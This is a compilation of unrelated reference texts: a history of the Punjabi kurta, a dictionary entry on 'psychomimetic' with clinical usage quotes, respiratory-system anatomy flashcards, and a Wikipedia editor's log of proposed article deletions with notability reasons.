This form of kurta gradually began to replace the older angarkha worn in the Punjab region which fell to the knees, opened to either the left or the right, and was sometimes known as the anga, the older form of the angarkha and is similar to a gown or a loose coat and wadded with cotton. By the 1960s the Punjabi kurta had almost replaced the angarkha but it was still popular in present-day Haryana. The Punjabi form of kurta is popular throughout the sub-continent. It is for this reason that, in Mithila, West Bengal and Bangladesh the kurta is known as 'Panjabi' as the kurta is associated with the Punjab and considered an article of Punjabi dress. The Punjabi kurta was introduced to Assam by King Garib Niwaj of Manipur during his reign sometime between 1709 A.D. and 1749 A.D. where it is also known as Panjabi. It is also worn in Uttar Pradesh and since the 1960s has been replacing the traditional saluka (short shirt) worn in Madhya Pradesh.
History
The term kurta is a generic term to cover different types of upper garments worn by men. Kurta refers to the upper garments worn in South Asia inspired from garments worn by Central Asian Turks who spread their use beyond their region, reaching the Indian sub-continent. The traditional male attire for men in India consisted of the dhoti and an unstitched cloth draped around the shoulders extended to cover the upper body.
However, men in North India especially Rajasthan and the Punjab region wore the jama of the Rajput type, the chola (robe) (which in the Punjab region remained popular in some parts as recent as the 1980s), the Mughal jama and the angarkha as upper garments, which eventually led to different versions of the kurta being developed, such as the Punjabi angarkha, Punjabi kurta, the Gujarati angarkha and the Rajasthani angarkha, also termed ‘kurta’. A non region specific angarkha is also worn in various areas such as in Himachal Pradesh, Uttrakhand and Uttar Pradesh. The Punjabi kurta also draws inspiration from the Mughal kurta, which was in common use in the region. However, The Mughal kurta was much looser than the Punjabi kurta, had no side slits and the upper part of the Mughal kurta was also very loose.
The other inspiration for the Punjabi kurta is the Punjabi angarkha which was called the old kurta in the early 20th century A.D. and is a loose tunic which falls to below the knees.
During the 11th century C.E., AL Biruni noted women in north India wore the kurtaka which was a short shirt, with sleeves extending to the shoulders, to the middle of the body, and had slashes on the left and the right sides. Thiis similar to the modern Punjabi kurta worn by women and men which has side slits rather than slashes. The use of shirts and trousers was earlier observed in the Punjab region in the 7th century by Hsuan Tsang and I-Tsing.
In modern usage, a short kurta is referred to as the kurti. However, traditionally, the kurti is a short cotton coat (without side slits) and is believed to have descended from the tunic of the Shunga period (2nd century B.C.). The kurti is front opening and is buttoned. Traditionally, a chain of gold or silver called zanjiri is woven into the buttons. The use of the kurti by women has been noted during the 1600s to the present day. The kurti can be front opening from below the neck to the waist, or cover the back but leave the stomach exposed. Some styles fasten at the back or are worn as pullovers with no side slits and font opening.
The kurti also forms part of male dress as a waist coat worn over the kurta.
Before the use of the kurta, people in Jammu traditionally wore the peshwaj which flowed to the ankles. However, the traditional attire now is the kurta and Dogri pajjamma. The use of the kurta was very rare in Kashmir until Kashyap Bandhu encouraged its use in the 1930s cultural revolution.
Muktsari Kurta Pajama
The Muktsari kurta pajama is the modern Punjabi version of the traditional kurta pajama outfit which is very popular on the sub-continent.
Muktsari kurta pajamas were initially worn by youngsters in the Muktsar area. However, they are now popular all over Punjab. The Muktsari kurtas are snug with lapels on either side and the pyjamas are similar to well-fitted slim pants. The kurta length is short and there's no pleating anywhere. | WIKI |
psychomimetic
Also found in: Dictionary, Thesaurus, Encyclopedia.
A chemical agent that induces hallucinations
Agents Cannabis, DMT, Dronabinol, Ketamine, LSD, Phencyclidine, Psilocybin
psychomimetic
resembling a psychosis.
References in periodicals archive ?
Drug does not produce marked psychomimetic effects--unlike ketamine.
Each patient was assessed on arrival in the recovery room for any psychomimetic effects and if present, 1 mg of midazolam was administered intravenously.
There was only one episode of an adverse psychomimetic effect, which was mild.
4] But these are associated with side effects like sedation, respiratory depression, psychomimetic effects, pruritus etc.
It has been postulated that the dose in which ketamine has no analgesic potency on its own but when used in combination with an opioid, yields on opioid sparing effect and superior pain relief than either drug alone (7) and in this range ketamine does not appears to have any hemodynamic or respiratory depression, sedation or psychomimetic effect. | ESSENTIALAI-STEM |
Respiratory System Review Flashcards Preview
Honors Anatomy & Physiology > Respiratory System Review > Flashcards
Flashcards in Respiratory System Review Deck (43):
1
in the nasal cavity, air passes over the ___
conchae
2
the nasal cavity is separated from the oral cavity by the ____
palate
3
the nasal cavity and the oral cavity join to the form the ___
pharynx
4
the inferior openings of the pharynx open into the __ and ___
larynx, esophagus
5
the opening from the pharynx into the respiratory passages is the __
glottis
6
the glottis can be covered by the
epiglottis
7
the trachea is held open by rings of
cartilage
8
the trachea divides into 2 __ ___
primary bronchi
9
after several branchings, the bronchi lead into ___
bronchioles
10
the bronchioles lead into the structures where gas is exchanged, called ___
alveoi
11
mucus and watery secretions are produced by __ cells and seromucus glands
goblet
12
these fluids along w/ foreign particles are normally moved out of the air passages by the organized beating of the __
cilia
13
the walls of bronchioles contain __ muscle and __ connective tissue
smooth, elastic
14
the mouth of the alveolus is shaped by a ring of __ tissue
elastic connective
15
this smooth muscle and elastic connective tissue helps the respiratory passages change shape with the ebb and flow of __
air
16
the epithelial cells (type 1) of the alveolus are ___ (tissue type).
simple squamous
17
type 1 cells are closely connected to the endothelium of ___
capillaries
18
type 1 cells provide for ___ exchange with the blood
gas
19
the surfactant prevents the surface tension of the water from causing the collapse of the ___
alveoli
20
the fluid allows the diffusion of ___ acros the respiratory membrane
gases
21
the bones surrounding the thoracic cavity are the ___, ___, and ___.
ribs, sternum, vertebrae
22
the thoracic cavity is separated from the abdominal cavity by a muscle called the __
diaphragm
23
the major organs found in the thoracic cavity are the __ and ___
heart, lungs
24
the outer surface of the lungs is covered by a membrane called the __
visceral pleura
25
the inner surface of the thoracic cavity is covered by a similar membrane called the __
parietal pleura
26
these serous membranes produce a watery fluid that allows the lungs to ___ within the thoracic cavity
expand
27
the (potential) space between the pleura is the __
pleural cavity
28
respiratory muscles found btwn the ribs are the __
intercostal muscles
29
after exhaling, a person at rest has a lung volume called __
Functional Residual Capacity (FRC)
30
since this lung volume occurs from passive relaxation of muscles, does the body have to expend metabolic energy to arrive at it?
no
31
the volume of resting inhalation described as 1 normal breath is called ____
tidal volume (TV)
32
By using extra muscular force, the lungs can be enlarged to a greater volume than tidal. this reserve is called __ volume
Inspiratory Reserve Volume (IRV)
33
when the lungs are at FRC, extra muscular force can cause lung volume to decrease expelling additional air. This reserve is called ___ volume
Expiratory Reserve Volume (ERV)
34
the total volume change that the lung can accomplish is called the __
Vital Capacity (VC)
35
When the thorax has forcefully expelled as much air as possible, the lungs are not completely empty. Their volume is called the ___
Residual Volume (RV)
36
When the diaphragm contracts, its central tendon is pulled inferiorly, causing the volume of the thoracic cavity to ___
increase
37
when the external intercostal muscles contract, the ribs pivot in a ___ direction. This causes the anterior-posterior dimension of the thorax to ___.
superior, increase
38
these 2 changes cause the total volume of the thoracic cavity to __
increase
39
since the volume of the thoracic cavity have increased, the pressure within it has ___
decreased
40
if the pressure in the thorax falls below atmospheric pressure, the air moves ____ the lungs
into
41
when the diaphragm relaxes, the abdominal pressure causes the central tendon to move back toward the thorax , the thoracic pressure __
increases
42
when the external intercostal muscles relax, the ribs falls back to their resting position, causing the anterior-posterior dimension of the thorax to ___.
decrease
43
These changes ___ the pressure on the air, causing it to move ___ the lungs
increase, out of | ESSENTIALAI-STEM |
User:Worldbruce/PROD log
This is a log of all proposed deletion tags applied or endorsed by this user using Twinkle's PROD module.
If you no longer wish to keep this log, you can turn it off using the preferences panel, and nominate this page for speedy deletion under CSD U1.
October 2015
* 1) Manigong, Bangladesh: PROD; notified 05:52, 9 October 2015 (UTC)
* 2) * Reason: Fails WP:GEOLAND, no sources, no results searching NGA GEOnet Names Server, 2011 Dhaka Division census records, Google maps, and OpenStreetMaps. Based on this and text (current and original), appears to be hoax.
* 3) Capita International Times Square: PROD; notified 19:42, 19 October 2015 (UTC)
* 4) * Reason: Fails WP:GEOFEAT. Only source for shopping mall is property developer website. Searches of the usual Google types, HighBeam, EBSCO, InfoTrac, and ProQuest returned nothing.
* 5) DCCI Tower: PROD; notified 19:59, 19 October 2015 (UTC)
* 6) * Reason: Fails WP:GEOFEAT. Cited 'sources' are about the DCCI organization, none mention the building. Searches of the usual Google types, HighBeam, EBSCO, InfoTrac, and ProQuest returned no matches.
* 7) Sanmar Properties Limited: PROD; notified 09:03, 20 October 2015 (UTC)
* 8) * Reason: Fails WP:CORP. No indepenent WP:RS. Searches of the usual Google types, HighBeam, EBSCO, InfoTrac, and ProQuest returned only a few press releases and routine announcements (e.g. "CEO of Sanmar Properties Ltd. was present", and so-and-so "then joined Sanmar Properties").
* 9) Abu Md Musa: PROD; notified 16:00, 27 October 2015 (UTC)
* 10) * Reason: Fails WP:BASIC. Searches (including with various expansions of Md and in Bengali script) of the usual Google types, HighBeam, EBSCO, InfoTrac, and ProQuest return nothing relevant. Closest match is a brief mention of an "Akhter Mohammad Musa" of Bond Garments in Dhaka Tribune.
November 2015
* 1) Farooque Chowdhury: PROD; notified 23:41, 16 November 2015 (UTC)
* 2) * Reason: Run of the mill author who does not meet WP:GNG or WP:AUTHOR. The cited references are by Farooque Chowdhury or his publisher(s), not about him. Searches (including by Bengali-script name) of the usual Google types, HighBeam, and JSTOR turned up nothing better. Google scholar shows Micro Credit: Myth Manufactured has been cited 3 times since 2007.
* 3) Dayemi Complex Bangladesh: PROD; notified 06:51, 19 November 2015 (UTC)
* 4) * Reason: Non-notable organization. Article tagged accordingly for 5 years; has no independent sources. Searches of the usual Google types, HighBeam, and JSTOR returned only one result that isn't a directory-type listing: a Who's Who in the Arab World entry for the founder. Without significant coverage in multiple, independent, reliable sources, fails WP:ORG.
* 5) Nur International School: PROD; notified 16:44, 19 November 2015 (UTC)
* 6) * Reason: Does not meet WP:ORG. Unencumbered by any source since the article was created in 2009. I can find no independent reliable source proving it is/was a high school or accredited degree-granting institution, or even that it exists/existed, so it doesn't merit redirecting.
* 7) Origins of the Bangladesh Army: PROD; notified 05:10, 20 November 2015 (UTC)
* 8) * Reason: Non-notable book by non-notable author. Only reference is to a review in a self-published source. Searches turn up nothing reliable, so does not meet WP:BKCRIT or WP:GNG.
* 9) Aligorhi Barhi: PROD; notified 05:52, 20 November 2015 (UTC)
* 10) * Reason: Non-notable building. Only source cited is a map reference. Searches turn up nothing but wikimirrors.
* 11) NAM Garden: PROD; notified 15:52, 20 November 2015 (UTC)
* 12) * Reason: Non-notable housing development. Unsourced since it was created in 2011. Searches of the usual Google types, HighBeam, JSTOR, and EBSCO returned nothing but directory-type listings. No significant coverage by reliable, third-party sources, so does not satisfy WP:GEOFEAT.
* 13) An-Nur Library: PROD; notified 20:52, 21 November 2015 (UTC)
* 14) * Reason: Unable to establish notability. Unsourced since it was created in 2011, and searches found nothing about this An-Nur Library. Without significant coverage in independent reliable sources, it does not meet WP:GNG.
December 2015
* 1) Faiz Uddin Ahmed: PROD; notified 04:08, 12 December 2015 (UTC)
* 2) * Reason: Non-notable official. The cited source - an agency he headed - has barely ten words to say about him, and three of those are his name. Searches of the usual Google types, EBSCO, HighBeam, InfoTrac, and ProQuest returned no matches for this Faiz/Fayaz Uddin Ahmed. No significant independent coverage in reliable sources, so does not meet WP:BASIC or WP:GNG.
* 3) Khalifa Para: PROD; notified 08:08, 17 December 2015 (UTC)
* 4) * Reason: Fails WP:GEOLAND. No sources and no results searching NGA GEOnet Names Server, 2011 Chittagong City census records, Google maps, or OpenStreetMaps. There are multiple Khalifa Paras in Bangladesh, but the only connection I can find to one in Chandgaon Thana, Chittagong City, is one mention in a Carolina Population Center spreadsheet of a "Khalifa Para Road" which is evidently a cross street of Khaza Road. It may be an informal name for the neighborhood around the road, but there is no evidence that it is a legally recognized place.
* 5) Zinzira fort: PROD; notified 23:36, 30 December 2015 (UTC)
* 6) * Reason: Unsourced since created, this is pure WP:OR. It conflates two things in Dhaka District: a real village (Zinzira, Biralia Union, Savar Upazila) at roughly the coordinates given in the article, and the ruins of the Jinjira Palace, 20km away in Zinira Mouza, Keraniganj Upazila. Either topic has potential, the village because Wikipedia is a gazetteer, the ruin as a historic building, but this stub, combining unsourced information about two entirely unrelated things, is not the starting point for either subject. Whichever path was taken, the effort required to fix this would exceed that of simply starting over.
January 2016
* 1) MD Raihan Hossen: BLP PROD; notified 22:49, 15 January 2016 (UTC)
* 2) Pantha path: PROD; notified 19:18, 23 January 2016 (UTC)
* 3) * Reason: Run of the mill street that fails WP:GEOROAD. Unreferenced and tagged for cleanup since a sockpuppet created it seven years ago. It's a commercial street, so it gets passing mentions as an address and in directions, but searches found no substantive coverage on which to build an encyclopedia article.
* 4) Faizur Rahman (writer): PROD; notified 06:28, 24 January 2016 (UTC)
* 5) * Reason: Unable to establish notability. Sole source is "reminiscence" blog. Searches (including by Bengali-script name) of the usual Google types, HighBeam, and JSTOR turned up nothing about this headmaster Faizur Rahman. Wikipedia is not a memorial site. Without significant coverage in independent reliable sources, does not meet WP:BASIC.
* 6) Baitul Falah Jama Mosjid borososi Panchagarh: PROD; notified 23:04, 29 January 2016 (UTC)
* 7) * Reason: Place of local interest that fails WP:GEOFEAT. Unreferenced since created, and searches turned up zero significant coverage by reliable, third-party sources. Of the few unreliable sources, the most revealing is an announcement and 3 photos on a social networking platform. Not of encyclopedia-grade historic, social, economic, or architectural importance.
February 2016
* 1) Pantapath: PROD; notified 20:34, 8 February 2016 (UTC)
* 2) * Reason: Run of the mill street that fails WP:GEOROAD. Unreferenced and tagged for cleanup since created seven years ago. It's a commercial street, so it gets passing mentions as an address and in directions, but searches found no substantive coverage on which to build an encyclopedia article.
* 3) Nusrat Jahan Dockyard: PROD; notified 23:08, 8 February 2016 (UTC)
* 4) * Reason: Fails WP:ORG and WP:GEOFEAT. The business exists, but the only reliable source is one news report about a US$1,300 fine for operating illegaly. Searches of the usual Google types, HighBeam, EBSCO, InfoTrac, and ProQuest returned nothing more.
* 5) Puranapail Railway Station: PROD; notified 08:13, 10 February 2016 (UTC)
* 6) * Reason: Unable to establish existence of this unsourced WP:STATION. There is a Puranapoil north of Joypurhat city, and there is a railgate there where the tracks cross a road and, but I find no evidence that it has ever had a railway station. Checked current system map, easier to read 2001 rail map, hathitrust.org for old British-era records, and Google.
May 2016
* 1) Agrabad Access Road: PROD; notified 00:04, 31 May 2016 (UTC)
* 2) * Reason: Run-of-the-mill 15-year-old commercial street that fails WP:GEOROAD. It gets passing mentions as a business address, as the location of events (e.g. accident or crime), and in lists of streets affected by flooding/needing repair, but searches found no substantive coverage on which to build an encyclopedia article.
June 2016
* 1) Sheikh Mujib Road: PROD; notified 01:31, 10 June 2016 (UTC)
* 2) * Reason: Run-of-the-mill commercial street that fails WP:GEOROAD. It gets passing mentions as a business address, as the location of events (e.g. accident or crime), and in lists of streets affected by flooding/needing repair, but searches found no substantive coverage on which to build an encyclopedia article.
November 2016
* 1) Falitangya Chug: PROD; notified 18:08, 1 November 2016 (UTC)
* 2) * Reason: Fails WP:NGEO. Extensive searches found one mention, "Fali Tangya Chug is the highest peak of the mountains in Barkal", but a political party is not a reliable source for such geographic information (or for news). No reliably sourced information to merge to an article on a larger feature.
* 3) Stylematic: PROD; notified 02:03, 16 November 2016 (UTC)
* 4) * Reason: Music fest of which the world at large took no notice. The only references are the Facebook pages of promoters of the event. Searches of the usual types, as well as of eight regional newspapers, found a single brief mention of the "what's on this weekend" variety. Does not meet WP:GNG.
* 5) Amico Laboratories: PROD; notified 02:18, 29 November 2016 (UTC)
* 6) * Reason: Non-notable company. The article cites an encyclopedia that has two sentences about it, and in further reading is a news report that briefly mentions a bank loan. Searches of the usual Google types, Gale, HighBeam, ProQuest, and eight newspapers in Bangladesh found little more, only a few directory-type listings, about this Amico Laboratories (there is/was an apparently unrelated Amico Laboratories in Nashville, Tennessee). Could not find significant coverage in reliable sources so fails WP:CORP.
January 2017
* 1) Agnee (film series): PROD; notified 06:22, 11 January 2017 (UTC)
* 2) * Reason: Duplicative. Copied verbatim from Agnee (2014 film) and Agnee 2, without required attribution and without adding any sourced new information. Unreferenced ever since created by block-evading sockpuppet.
* 3) Asgar Ali Chowdhury Mosque: PROD; notified 05:26, 14 January 2017 (UTC)
* 4) * Reason: Tagged as unreferenced ever since it was created in February 2016. Searches of the usual Google types found zero reliable sources. An attractive building, but does not meet the notability criteria to justify a stand alone article.
* 5) Badsha Jame Mosque: PROD; notified 05:45, 14 January 2017 (UTC)
* 6) * Reason: Tagged as unreferenced and for notability ever since it was created in March 2016. Searches of the usual Google types found zero reliable sources. Does not meet the notability criteria to justify a stand alone article.
* 7) Fokira Jame Mosque: PROD; notified 06:41, 14 January 2017 (UTC)
* 8) * Reason: Tagged for notability ever since it was created in March 2016. The two cited sources don't mention the subject. Searches of the usual Google types found zero reliable sources. Does not meet the notability criteria to justify a stand alone article.
* 9) Jaan Amar Jaan: PROD; notified 01:57, 22 January 2017 (UTC)
* 10) * Reason: Non-notable 2009 movie. The claims of significance in the article have never referenced a source. The two sources cited in the article are primary - two of the movie's songs on YouTube. Searches, including by Bengali script name, of the usual Google types, EBSCO, Gale, HighBeam, JSTOR, and ProQuest found nothing more in reliable sources than passing mentions. Does not meet WP:GNG or WP:NFILM.
* 11) Rezaul Karim Mazumder: PROD; notified 19:11, 25 January 2017 (UTC)
* 12) * Reason: Doesn't meet WP:PROF. Searches of the usual types found no independent reliable sources deeper than a directory listing or passing mention ("addressed the function", "present in the seminar"). One textbook has been used at two universities where he is/was department head, and at University of Chittagong.
March 2017
* 1) Robot Runtime: PROD; notified 23:37, 28 March 2017 (UTC)
* 2) * Reason: WP:NOTNEO, WP:ONEDAY
May 2017
* Ali Raj: BLP PROD; notified 14:37, 28 May 2017 (UTC)
* Nurul Haque (Bir Bikram): PROD; notified 15:32, 29 May 2017 (UTC)
* 1) * Reason: Does not meet WP:GNG or WP:SOLDIER. bn.wikipedia.org may use different criteria for inclusion.
* Foyezur Rahman: PROD; notified 15:33, 29 May 2017 (UTC)
* 1) * Reason: Does not meet WP:GNG or WP:SOLDIER. bn.wikipedia.org may use different criteria for inclusion.
* Chand Mia: PROD; notified 16:11, 29 May 2017 (UTC)
* 1) * Reason: Does not meet WP:GNG or WP:SOLDIER. bn.wikipedia.org may use different criteria for inclusion.
June 2017
* Aminul Haque Fahadabadi: PROD; notified 23:42, 6 June 2017 (UTC)
* 1) * Reason: Searches of the usual Google types, De Gruyter, EBSCO, Gale, HighBeam, JSTOR, Project Muse, and ProQuest found zero reliable sources. Does not meet WP:BIO.
* Princha Khen: PROD; notified 00:41, 7 June 2017 (UTC)
* 1) * Reason: Searches of the usual Google types, De Gruyter, EBSCO, Gale, HighBeam, JSTOR, Project Muse, and ProQuest, including by Bengali script name, found no other reliable sources. Wikipedia requires multiple sources to ensure the topic has garnered attention by the world at large and over a period of time, and to ensure we do not merely repeat the opinion of one person. Does not meet WP:BIO.
* Mohammed Ajijur Rahman: PROD; notified 16:46, 7 June 2017 (UTC)
* 1) * Reason: Not verifiable. Unsourced since created in 2011. Searches of the usual Google types, De Gruyter, EBSCO, HighBeam, JSTOR, Project Muse, ProQuest, and eight national newspapers, including by Bengali-script name, found no evidence of existence.
* Jonakira: PROD; notified 16:48, 9 June 2017 (UTC)
* 1) * Reason: NN album by NN musician (Articles for deletion/Lutfor Hasan). Of the cited sources, three make only passing mention of the album, and the other two are dead. Searches of the usual types found nothing else in reliable sources.
* Wali-ur Rahman: BLP PROD; notified 18:57, 9 June 2017 (UTC)
* Mamun Mustafa: PROD; notified 20:55, 9 June 2017 (UTC)
* 1) * Reason: One full-length book review plus one capsule review are unconvincing evidence that Mustafa has "created a significant or well-known work or collective body of work," or otherwise meets notability criteria. Searches of the usual Google types, De Gruyter, EBSCO, Gale, HighBeam, JSTOR, Project Muse, ProQuest, and national newspapers found nothing more than passing mentions.
* Safoller Pothe: PROD; notified 18:40, 10 June 2017 (UTC)
* 1) * Reason: NN book by NN author. Three of the four cited sources appear to be press releases. The review in New Age is insufficient on its own to meet WP:NBOOK. Searches of the usual Google types, EBSCO, HighBeam, JSTOR and ProQuest found nothing else.
* Bangle beauty: PROD; notified 02:25, 27 June 2017 (UTC)
* 1) * Reason: Unreferenced since created in 2012. Searches of the usual Google types, De Gruyter, EBSCO, Gale, HighBeam, JSTOR, Project Muse, ProQuest, and Bangladeshi newspapers, using both names, found nothing in reliable sources. Does not meet WP:GNG or WP:GEOFEAT.
* Anarya, Onnoshawr: PROD; notified 14:36, 27 June 2017 (UTC)
* 1) * Reason: Non-notable organization. Sole source contains three lines about them. Searches of the usual Google types, De Gruyter, EBSCO, Gale, HighBeam, JSTOR, Project Muse, ProQuest, and Bangladeshi newspapers, by article title and variant "Onarjo Onyoswar", found no other coverage. Does not meet WP:ORG.
July 2017
* Senda Vo: PROD; notified 04:52, 1 July 2017 (UTC)
* 1) * Reason: A nice enough waterfall, but two photos, an amateur video, and a blog post don't make it a notable one. Searches of the usual types didn't locate any reliable sources. Fails WP:GEOLAND.
* Barristers' Association of Bangladesh: PROD; notified 23:11, 1 July 2017 (UTC)
* 1) * Reason: Non-notable organization. The only source cited is a self-published blog. Searches of the usual Google types, HighBeam, JSTOR, and various Bangladeshi newspapers found no independent reliable sources. Does not meet WP:GNG or WP:ORG.
* Mosaic in Green: PROD; notified 01:00, 5 July 2017 (UTC)
* 1) * Reason: Has external links, but has never cited a source per se. If Bangladesh's mission to the UN used an excerpt to describe Bangladesh, they didn't credit the book. The rest of the links are to stores selling the book and to a library. Searches of the usual types found only one result, a listing in a bibliography of works on Bangladesh. Does not meet WP:NBOOK.
* Bisu Mela: PROD; notified 16:08, 6 July 2017 (UTC)
* 1) * Reason: Not verifiable. Unsourced ever since created in 2013. There are plenty of search results for "Bisu festival" celebrated by other people in other countries, but nothing except blogs and circular sources about such a festival of the Tanchangya people or the customs described in the article.
* International Scholarships Non-profit Organization: PROD; notified 18:28, 6 July 2017 (UTC)
* 1) * Reason: Lacks any independent, reliable, secondary sources. The Maasranga and Byapon interviews are primary sources, the founder talking about himself, with no critical analysis. Also Byapon doesn't mention the organization. Bangladeshism.com does not have the characteristics of a reliable source, it "is not any Newspaper or Magazine rather its a Public Digest to share experience and views and to promote Patriotism in the heart of the people." The remaining sources are not independent. Self-promotion is not notability.
August 2017
WP:BASIC requires multiple sources so that a balanced article can be written that doesn't simply repeat one person's point of view. Wikipedia doesn't have articles on authors, or translators, just because their names are on books. Enough people have to have written about the person for a full and balanced biographical article to be constructed. If the subject were notable, then writers would have written about him, in depth, independently, in multiple sources.
* Qazi Mahbub Hussain: PROD; notified 03:33, 26 August 2017 (UTC)
* 1) * Reason: I assume the sole source for this bio is a good one. But searches of the usual Google types, De Gruyter, EBSCO, Gale, HighBeam, JSTOR, Project Muse, ProQuest, and Questia, by Bengali script and two transliterations of his name, found only one other reliable source that is more than an author or translator credit, a five-line obituary.
September 2017
* Hortal: PROD; notified 21:14, 20 September 2017 (UTC)
* 1) * Reason: 7-minute student short that won at a university festival. Created by an WP:SPA with the same name as the director. There is one article about it, and two brief mentions, all published by the same supporting newspaper. Searches of the usual Google types, De Gruyter, EBSCO, HighBeam, JSTOR, Project Muse, ProQuest and Questia found no other coverage. Fails WP:NFILM and WP:GNG.
October 2017
* List of Private Equity Firms of Bangladesh: PROD; notified 23:59, 27 October 2017 (UTC)
* 1) * Reason: Empty list with little prospect of being populated anytime soon.
* Muhammad Bazlul Haq: PROD; notified 04:24, 29 October 2017 (UTC)
* 1) * Reason: Unsourced ever since it was created, a decade ago. Searches of the usual Google types, EBSCO, Gale, HighBeam, JSTOR, Project Muse, ProQuest, Questia, and Worldcat returned no matches. The KPP and the period of Partition have been written about extensively. If he were truly "prominent" and "played a crucial role", he would show up in at least one of those books.
February 2018
* Ranadeb Chaudhuri: PROD; notified 03:12, 4 February 2018 (UTC)
* 1) * Reason: Unsourced ever since it was created nine years ago, and tagged for notability for more than seven years. Assuming it's all true, he came from a notable family, but that doesn't make him notable. Searches of the usual Google types, De Gruyter, EBSCO, Gale, HighBeam, JSTOR, Project MUSE, ProQuest, and Questia finds his name in the text of a few legal cases, but no significant coverage in independent, reliable, secondary sources. Does not meet WP:GNG or WP:BIO.
July 2018
* Himu Akram: BLP PROD; notified 04:58, 31 July 2018 (UTC)
August 2018
* Dhaka Krishnachura Blossoms: PROD; notified 03:33, 23 August 2018 (UTC)
* 1) * Reason: Cites a single source. Searches of the usual Google types, EBSCO, HighBeam, JSTOR, and ProQuest, including by Bengali script name, found no other reliable sources. My Bengali isn't good enough to tell whether the cited audio mentions the festival, but it certainly isn't entirely about the festival. In any case, one source does not constitute significant attention by the world at large and over a period of time, so the topic does not meet WP:GNG.
* Hatirjheel: Dream Begins: PROD; notified 04:35, 23 August 2018 (UTC)
* 1) * Reason: The three cited sources are at worst press releases, at best primary coverage without significant critical commentary. Searches of the usual Google types, EBSCO, HighBeam, and ProQuest, found only two other sources - passing mentions of existence in articles about other games. This doesn't satisfy WP:NVG; self-promotion is not the route to an encyclopaedia article.
September 2018
* Jahanara Begum Munni: PROD; notified 17:54, 1 September 2018 (UTC)
* 1) * Reason: Non-notable academic. The only ripple this assistant professor and department head has made in reliable sources is a single report of a lawsuit filed against them over an allegedly inappropriate BDT 300 fee (US$4.35 in 2009). Searches of the usual Google types, EBSCO, HighBeam, JSTOR, and ProQuest, including by Bengali script name, found no other independent reliable source. Does not meet any notability guideline.
* Falgun Music: PROD; notified 04:27, 2 September 2018 (UTC)
* 1) * Reason: Unsourced since created, 12 years ago. Searches of the usual Google types, EBSCO, HighBeam, JSTOR, and ProQuest found two brief mentions. Evidently it was a private satellite TV channel shut down by the government of Bangladesh eight months after the article was created.(The second source requires a subscription, but all it contains about the channel is: "On 15 March, the government asked seven private television channels to stop airing programmes. The channels were STV US, Channel S, Rupashi Bangla, Falgun Music, TV 5, Bijoy TV and My TV.")
WP:NMEDIA and WP:BCASTOUTCOMES emphasize that over-the-air TV stations are presumed notable. They are silent regarding satellite TV stations. If this means that satellite TV stations must meet WP:GNG, then the coverage of this station is insufficient to demonstrate notability.
January 2019
* Raja Handsome: PROD; notified 16:10, 12 January 2019 (UTC)
* 1) * Reason: There are regurgitations of 3-4 press releases from the first few months of 2014 announcing that say so-and-so has signed, shooting will take place here and there, and so on, but despite the hype there's no evidence that filming ever began. Per WP:NFF this "future" film should not have a stand alone article. There is no obvious redirect target.
April 2019
* Bhaolobeshe Morte Pari: PROD; notified 00:21, 23 April 2019 (UTC)
* 1) * Reason: Has never cited a source. Creator credited themselves with the film's music. Searches of the usual Google types, EBSCO, Gale, JSTOR, and ProQuest, including by various transliterations and ভালোবেসে মরতে পারি (name in Bengali script), found no independent reliable sources. Does not meet WP:NFILM.
May 2019
* Asian Radio: PROD; notified 05:47, 15 May 2019 (UTC)
* 1) * Reason: The cited sources are a press release and an indiscriminate list of stations. Searches of the usual Google types, including by name in Bengali script, found only more press releases and passing mentions. Does not meet WP:NMEDIA.
July 2019
* Tasnia Farin: BLP PROD; notified 21:10, 7 July 2019 (UTC)
* Self-revelation: PROD; notified 18:15, 26 July 2019 (UTC)
* 1) * Reason: Unsourced for 13 years. Searches of the usual Google types returned no reliable sources to substantiate any of the stub's claims. To the extent that the term is used at all, it seems to be mostly in religious contexts. If enough material exists to write an encyclopedia article about that meaning, WP:TNT applies.
* Dhaka Art Center: PROD; notified 05:22, 27 July 2019 (UTC)
* 1) * Reason: The center is mentioned in an article in The New York Times, but there are fewer than 100 words about it. The center's website was last updated in 2015, and a recent newspaper article confirms in passing that it is defunct.
From 2010 to 2015 there are plenty of primary source announcements saying it is the venue for exhibition such-and-such by so-and-so, but aside from the aforementioned NYT snippet, no other independent secondary sources about the center. Now that it is closed, it's unlikely enough will be written about it that we can comply with WP:WHYN.
April 2020
* Action Jasmine: PROD; notified 13:01, 15 April 2020 (UTC)
* 1) * Reason: Unreferenced, no evidence of notability under WP:NFILM or WP:GNG.
* Black Money (2015 film): PROD; notified 13:05, 15 April 2020 (UTC)
* 1) * Reason: Unreferenced, no evidence of notability under WP:NFILM or WP:GNG.
July 2020
* Epic Air: PROD; notified 14:57, 9 July 2020 (UTC)
* 1) * Reason: Epic Air is the vaporware of the Bangladeshi airline industry. In 2014, it put out an artist's rendering of its planned livery, which scored it two sentences in ch-aviation. The press release, and interviews given by the CEO promoting the company, were regurgitated in other outlets. Six years on it remains an airline in name only. Coverage fails to meet WP:ORGIND. No objection to recreation if the idea ever gets off the ground and garners genuinely independent coverage.
* Biteable: PROD; notified 05:45, 28 July 2020 (UTC)
* 1) * Reason: Article about a non-notable startup, created by an editor subsequently blocked for advertising and undisclosed paid editing.
Of the 11 cited sources, 9 are about raising capital, a type of news explicitly excluded as trivial by WP:CORPDEPTH. Of the remainder, ABC says "Biteable is a start-up technology company based in Hobart that was founded by three friends. It enables users to create simple videos online." The piece includes another 125 words by the CEO. This does not amount to coverage that is both significant and independent.
Journalism.co.uk is a website with news and advertorial content. Even assuming the cited article is the former, one independent source containing significant coverage is not enough. Searches of the usual Google types found only one other non-trivial, independent, reliable source, a sparse page in a list of video editors. Does not meet WP:NCORP. --
September 2020
* Jahangir Kabir: PROD; notified 22:20, 6 September 2020 (UTC)
* 1) * Reason: Two newspapers reprint a press release, well meaning novice creates a permastub from it. Governments have thousands of authorities, boards, centres, commissions, councils, departments, directorates, divisions, etc. Not every civil servant who has ever headed one is notable, see WP:WHYN.
* Shopno Bari: PROD; notified 16:56, 7 September 2020 (UTC)
* 1) * Reason: The Feb 2018 press release announcing Mamo's contract signing was widely reprinted. Shooting was scheduled to start in Aug 2018. But if filming did start, or if the film was ever released, no independent, reliable sources noticed.
* Society for Environment and Human Development (SEHD): PROD; notified 15:27, 10 September 2020 (UTC)
* 1) * Reason: Has never had any source other than the organization's website. Searches found nothing independent other than passing mentions.
* Double Diamond (cigar): PROD; notified 20:43, 10 September 2020 (UTC)
